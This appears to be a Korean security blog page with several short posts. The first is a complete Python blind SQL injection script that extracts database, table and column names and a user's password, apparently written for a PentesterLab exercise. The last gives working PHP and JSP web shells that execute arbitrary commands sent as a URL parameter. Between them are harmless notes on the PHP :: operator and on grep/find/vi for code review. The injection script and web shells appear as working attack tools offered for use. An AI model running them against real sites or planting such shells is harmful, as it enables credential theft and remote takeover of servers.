2018. 9. 27.

[웹 취약점] blind sql 인젝션 자동화 스크립트

#!/usr/bin/python
import urllib, urllib2
import sys
 
# Connect URL
def urlcon(query):
    method = "id=" + urllib.quote(query)   # url encode
    #method += "&"
    #method += "pw=asd"
 
    url = urllib2.Request('http://testsite.com/cat.php?' + method)
    s = urllib2.urlopen(url)
 
    result = s.read()
 
    s.close()
 
    # Check
    if result.find("hacker") == -1:
        return 0    # failed
    else:
        return 1    # success
 
# Get a current DB Name
def get_db():
    length = 0
    db = ""
 
    for i in range(1, 30, 1):        # Get Length
        query = "1 or 1=1 and substr((select length(database())), 1, 2) = '{0}'#".format(i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(0, 127, 1):
            query = "1 or 1=1 and ascii(substr((select database()), {0}, 1)) = '{1}'#".format(i+1, j)
            if urlcon(query) == 1:
                db += chr(j)
                break
        print db
 
    print "================================================================="
    print "Result : " + db
 
    return db
 
# Get Tables
def get_table():
    tlist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1, 30, 1):        # Get Length
            query = "1 or 1=1 and substr((select length(table_name) from information_schema.tables where table_type='base table' limit {0},1),1,2) = '{1}' #".format(index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        table = ""
        for i in range(length):
            for j in range(0, 127, 1):
                query = "1 or 1=1 and ascii(substr((seltect table_name from information_schema.tables where table_type='base table' limit {0},1),{1},1)) = '{2}' #".format(index, i+1, j)
                if urlcon(query) == 1:
                    table += chr(j)
                    break
            print table
        tlist.append(table)
        index += 1
 
    print tlist
    return tlist
 
# Get Columns
def get_column(table):
    clist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1, 30, 1):        # Get Length
            query = "1 or 1=1 and substr((select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1),1,2) = '{2}' #".format(table, index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        column = ""
        for i in range(length):
            for j in range(0, 127, 1):
                query = "1 or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1)) = '{3}' #".format(table, index, i+1, 

j)
                if urlcon(query) == 1:
                    column += chr(j)
                    break
            print column
        clist.append(column)
        index += 1
 
    print clist
    return clist
 
# Get a Value
def get_value(table, ID):
    length = 0
    pw = ""
 
    for i in range(1, 30, 1):        # Get Length
        query = "1 or 1=1 and substr((select length(pw) from {0} where id='{1}' limit 0,1),1,2) = '{2}' #".format(table, ID, i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(0, 127, 1):
            query = "1 or 1=1 and ascii(substr((select pw from {0} where id='{1}' limit 0,1),{2},1)) = '{3}' #".format(table, ID, i+1, j)
            if urlcon(query) == 1:
                pw += chr(j)
                break
        print pw
 
    print "================================================================="
    print "Result : " + pw
 
    return pw
 
# Main Function
if __name__ == '__main__':
    print "================================================================="
    print "Blind SQL Injection"
    print "=================================================================\n"
 
    argc = len(sys.argv)
    if argc >= 2:
        if int(sys.argv[1]) == 1:
            get_db()
        elif int(sys.argv[1]) == 2:
            get_table()
        elif (int(sys.argv[1]) == 3) and sys.argv[2]:
            get_column(sys.argv[2])        # Table Name is "accounts".
        elif (int(sys.argv[1]) == 4) and sys.argv[2] and sys.argv[3]:
            get_value(sys.argv[2], sys.argv[3])    # Table Name is "accounts", ID is "tribal".
        else:
            print "Usage : {0}  [Table Name] [ID]".format(sys.argv[0])
    else:
        print "Usage : {0}  [Table Name] [ID]".format(sys.argv[0])

실행 결과

해결이 필요한 점
  • table_type='base table' 은 사용자가 만든 table을 의미한다.
  • pentesterlab 환경에서는 mysql 에서 select table_name from information_schema.tables where table_type='base table' 로 실행하면 26개의 결과가 출력되는지 왜 스크립트를 실행하면 3개만 나온다.


출처
  •  http://tribal1012.tistory.com/150

Continue reading

2018. 9. 17.

php :: (스코프 해결 연산자)

php 소스코드를 보면 :: 문자열을 볼 수 있다. 이는 static 이나 constant 와 클래스의 재정의된 프로퍼티나 메서드에 접근할 수 있도록 해주는 토큰이다.

class MyClass {
    const CONST_VALUE = 'A constant value';
}

$classname = 'MyClass';
echo $classname::CONST_VALUE; // As of PHP 5.3.0

echo MyClass::CONST_VALUE;

위와 같이 클래스 정의의 외부에서 이 항목들을 참조 할 때, 클래스의 이름을 사용한다.

Continue reading

[웹취약점] 소스코드 취약점 점검

소스코드 취약점 점검 관련 간단히 메모


1. 윈도우 일 경우, AstroGrep, Brackets, Everything

2. 유닉스 일 경우는 그저 find, grep,vi 로 다 해결된다.

** grep 명령어 예시
grep -H id /var/www/* 
-> /var/www/ 의 모든 폴더에서 'id' 라는 문자열을 포함하고 있는 모든 파일을 리스트업

grep -iH id /var/www/*
 -> i 를 붙임으로서 대소문자 구별 안함


grep -riH select /var/www
--> -r 옵션으로 하위 디렉토리에 있는 파일까지 검색한다.

** 리눅스 배포판에 따라 grep의 하위 디렉토리 검색이 안되는 경우도 있다고 한다.
그럴 경우, find . -name "*" | xargs grep -n "찾고자 하는 문자열"

find 를 같이 쓰면 좋은 점은 검색할 파일 유형을 지정할 수 있다. 예를 들어 하위 디렉토리의 모든 .c 파일, .h 파일에 대해서만 검색을 수행하고자 할때는 다음과 같이 할 수 있다.

find . -name "*.[ch]" | xargs grep -n "찾고자 하는 문자열"

vi 창 여러개 띄우기
-> sp /var/www/test.php // test.php 가 생긴다.
-> sp는 상하로 분할 하는것, vs 좌우로 분할 하는 것

vi에서 shell 실행하기
:shell 또는 :sh 로 쉘을 빠져나가서 명령어를 실행할 수 있다. 작업 후 exit 또는 ctrl+D 이용해서 다시 vi로 돌아갈 수 있다.



Continue reading

2018. 9. 10.

간단 웹쉘 jsp

/* PHP Version URL CMD WebShell           */

/* 사용법 : hxxp://URL/cmd.php?cmd=명령어 */



<?

        echo "

                <FORM ACTION=$PHP_SELF METHOD=POST>

                CMD : <INPUT TYPE=TEXT NAME=command SIZE=40>

                <INPUT TYPE=SUBMIT VALUE='Enter'></FORM>

                <HR>n<XMP>n$resultn</XMP><HR>";



        $command = str_replace("\", "", $command);

        echo "<XMP>"; passthru($command); echo "</XMP>";

?>







/* JSP Version URL CMD WebShell           */

/* 사용법 : hxxp://URL/cmd.jsp?cmd=명령어 */



<%@ page import="java.io.*" %>

<%

    try {

            String cmd = request.getParameter("cmd");

            Process child = Runtime.getRuntime().exec(cmd);

            InputStream in = child.getInputStream();

            int c;

          

            while ((c = in.read()) != -1) {

                out.print((char)c);

            }

          

            in.close();

          

            try {

                child.waitFor();

            } catch (InterruptedException e) {

                e.printStackTrace();

            }

    } catch (IOException e) {

        System.err.println(e);

    }

%>

Continue reading

Popular Posts

Recent Posts

Powered by Blogger.